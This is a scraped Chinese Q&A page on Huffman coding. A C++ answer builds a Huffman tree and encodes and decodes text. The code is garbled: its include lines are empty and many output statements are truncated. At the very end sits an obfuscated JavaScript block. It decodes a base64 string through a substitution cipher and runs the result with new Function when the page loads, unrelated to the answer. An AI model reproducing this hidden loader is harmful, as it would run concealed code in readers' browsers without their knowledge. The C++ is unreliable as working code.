哈夫曼编码与压缩 输入一段文本,统计其中字符出现频率,设计相应的haffman树和haffman码,并完成对该段文

2025-04-05 06:08:56
推荐回答(1个)
回答1:

#include
#include
#include
#include
struct HuffmanTree
{
int weight;
int parent,lchild,rchild;
char ch;
};
typedef char** HuffmanCode;

struct return_value_sel
{
int re_s1;
int re_s2;

};
struct return_value_def
{
char re_p[100];
int *re_in;
int re_count;
};
struct return_value_HTHC
{
HuffmanTree *re_HT;
HuffmanCode re_HC;

};
return_value_def def_wei(char in_ch[])
{
char ch[100];
int ch_wei[100];
int i,j,n = 0,tab = 1;
return_value_def re;

for(i = 0;in_ch[i] != '\0';i++)
{
for(j = 0;j <= n;j++)
{
if(ch[j] == in_ch[i])
{
ch_wei[j]++;
tab = 1;
break;
}
else
tab = 0;
}
if(tab == 0)
{
ch[n] = in_ch[i];
ch_wei[n] = 1;
n++;

}
}
ch[n] = '\0';
strcpy(re.re_p,ch);
re.re_in = ch_wei;
re.re_count = n;
return re;
}

return_value_sel Select(HuffmanTree* HT,int i)
{
return_value_sel re;
int t = i;
int s1,s2,HT_wei = HT[i].weight;

for(;i>=1;i--)
if(HT[i].parent==0 && HT_wei>=HT[i].weight)
{HT_wei = HT[i].weight; s1 = i;}
if(s1==t)
{
HT_wei = HT[t-1].weight;

}
else
{
HT_wei = HT[t].weight;

}
for(i=t;i>=1;i--)
if(HT[i].parent==0 && HT_wei>=HT[i].weight && i!=s1)
{HT_wei = HT[i].weight; s2 = i;}
re.re_s1 = s1;
re.re_s2 = s2;
return re;

}

return_value_HTHC HuffmanCoding(HuffmanTree *HT,int *w,int n,char ch_in[])
{
int m,i;
HuffmanTree *p;
char *cd;
HuffmanCode HC;
return_value_HTHC re_value_HTHC;
return_value_sel get_re;

if(n<=1) exit(0);
m = 2 * n - 1;

HT = (HuffmanTree*)malloc((m+1)*sizeof(HuffmanTree));

for(p=HT,i=1,p++;i<=n;++i,++p,++w)
{
p->weight = *w;
p->lchild = 0;
p->rchild = 0;
p->parent = 0;
p->ch = ch_in[i-1];

}
for(;i<=m;++i,++p)
{
p->weight = 0;
p->lchild = 0;
p->rchild = 0;
p->parent = 0;
p->ch = NULL;

}
for(i=n+1;i<=m;++i)
{
get_re = Select(HT,i-1);
HT[get_re.re_s1].parent = i;
HT[get_re.re_s2].parent = i;
HT[i].lchild = get_re.re_s1;
HT[i].rchild = get_re.re_s2;
HT[i].weight = HT[get_re.re_s1].weight + HT[get_re.re_s2].weight;

}

int c,f,start,j=0;
HC = (HuffmanCode)malloc((n+1)*sizeof(char*));
cd = (char *)malloc(n*sizeof(char));

cd[n-1] = '\0';
for(i=1;i<=n;++i)
{

start = n-1;
for(c=i,f=HT[i].parent;f!=0;c=f,f=HT[f].parent)
{
if(HT[f].lchild==c) cd[--start] = '0';
else cd[--start] = '1';
}
HC[i] = (char*)malloc((n-start)*sizeof(char));
strcpy(HC[i],&cd[start]);
cout<<"字符"<
}
free(cd);

re_value_HTHC.re_HC = HC;
re_value_HTHC.re_HT = HT;

return re_value_HTHC;
}

void HuffmanTrans(char* tran_ch,HuffmanTree *HT,int count)
{
int i,n=count;
cout<<"译码结果为:"< for(i=0;tran_ch[i]=='0'||tran_ch[i]=='1';i++)
if(tran_ch[i]=='0')
{
n = HT[n].lchild;
if(HT[n].lchild==0&&HT[n].rchild==0)
{
cout< n = count;
}
}
else
{
n = HT[n].rchild;
if(HT[n].lchild==0&&HT[n].rchild==0)
{
cout< n = count;
}
}
cout<}

void main()
{
char edit_str[100],trans_str[1000],trans_str1[1000];
int m[100];
int i,n,j,t=0;
HuffmanTree *HT;
return_value_def get_value_def;
return_value_HTHC get_value_HTHC;
int start1 = 0;
char choose_re = 'y',choose,ch[10];

while(choose_re=='y'||choose_re=='Y')
{
cout<<"请选择您所将进行的操作!"< cout<<"(1)字符编码"< <<"(2)需要对已编码过的字符译码"< <<"(3)通过输入进行译码"< <<"请输入您的选择:";
cin>>ch;
choose = ch[0];
for(;;)
{
if(choose != '1'&&choose!='2'&&choose!= '3'&&choose!='0')
{
cout<<"输入错误,请重新输入"< cout<<"1、字符编码"< <<"2、对编码过的字符译码"< <<"3、通过输入进行译码"< <<"0、退出"< <<"清输入您要进行的选择:";
cin>>ch;
choose = ch[0];
}
else
break;
}
switch(choose)
{
case '1':
cout<<"请输入您要编码的字符串:"< cin>>edit_str;
cout<<"进行编码..."< get_value_def = def_wei(edit_str);
for( i=0;i {
m[i] = *(get_value_def.re_in+i);
}
HT = (HuffmanTree*)malloc((2*get_value_def.re_count)*sizeof(HuffmanTree));
get_value_HTHC = HuffmanCoding(HT,m,get_value_def.re_count,get_value_def.re_p);
cout<<"编码为:"< for(n=0;edit_str[n]!='\0';n++)
for(j=0;j<=get_value_def.re_count;j++)
if(edit_str[n]==get_value_HTHC.re_HT[j].ch)
{
cout< for(int x=0;get_value_HTHC.re_HC[j][x]=='0'||get_value_HTHC.re_HC[j][x]=='1';t++,x++)
trans_str1[t]=get_value_HTHC.re_HC[j][x];

}

cout< start1 = 1;
break;
case '2':
if(start1!=1)
{
cout<<"您还没有进行建立编码表,请先执行第一步操作!!"< break;
}
HuffmanTrans(trans_str1,get_value_HTHC.re_HT,2*get_value_def.re_count-1);

break;
case '3':
if(start1!=1)
{
cout<<"您还没有进行建立编码表,请先执行第一步操作!!"< break;
}
cout<<"请输入您要译的代码:"< cin>>trans_str;
for(i=0;trans_str[i]!='\0';i++)
if(trans_str[i]!='0'&&trans_str[i]!='1')
{
cout<<"输入中有非法字符,请重新输入!!"< cout<<"请输入您要译的代码:"< cin>>trans_str;
}

cout< HuffmanTrans(trans_str,get_value_HTHC.re_HT,2*get_value_def.re_count-1);
break;
case '0':
break;
}
cout<<"是否继续进行操作(是:y 否:n )"< cin>>choose_re;
for(;;)
{if(choose_re != 'y'&&choose_re != 'Y'&&choose_re != 'n'&&choose_re != 'N')
{
cout<<"输入错误请重新输入!!"< cout<<"是否继续进行操作(是:y 否:n )"< cin>>choose_re;
}
else
break;
}

}

}

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();